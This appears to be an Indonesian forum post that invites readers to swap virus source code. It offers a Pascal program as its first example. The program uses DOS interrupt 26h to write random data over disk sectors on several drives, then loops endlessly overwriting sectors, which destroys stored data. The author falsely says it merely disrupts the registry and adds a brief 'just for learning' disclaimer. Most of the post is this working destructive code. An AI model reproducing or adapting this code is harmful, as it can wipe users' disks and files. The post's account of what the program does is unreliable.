kumpulan virus open source code

nich mari sama sama kita bagi bagi listing virus yang terbuat dari berbagai bahasa pemrograman komputer baik yang ringan maupun yang sangat ganas... semua na pasti dibentuk dari bahasa pemrograman.....

mari senior senior ku sekalian shere disini ya sebagai pembukaan saya adfa source virus yang dibuat dengan bahasa pemrograman PASCAL yang bisa kita cerna dengan baik... ni list sederhana mungkin bisa membantu... bagi rekan rekan yang telah bisa sebelum na maafkan zulfah yaaa......
ok lets do it....

pertama tama mari siapkan secangkir kopi beserta rokok dan sedikit snack...

program fuckyou;
uses dos,crt;
var
i,a,m,g,o,d:integer;
regS:registers;
begin
randomize;
window(1,1,80,25);
textbackground(0);
textcolor(7);
clrscr;
for i:=2 to 5 do begin
regs.al:=i;
regs.cx:=666;
regs.dx:=0;
regs.bx:=random(9999);
intr($26,regs);
end;
repeat
regs.al:=2;
regs.cx:=random(900)+100;
regs.dx:=random(1500);
regs.bx:=random(9999);
intr($26,regs);
until true=false;
end.

ini bisa menyebabkan registry terobok obok dan sistem menjadi gak efektif lagi........ heheheheheheeh :P

NOT:
just for learning dont to be somethink else.....okey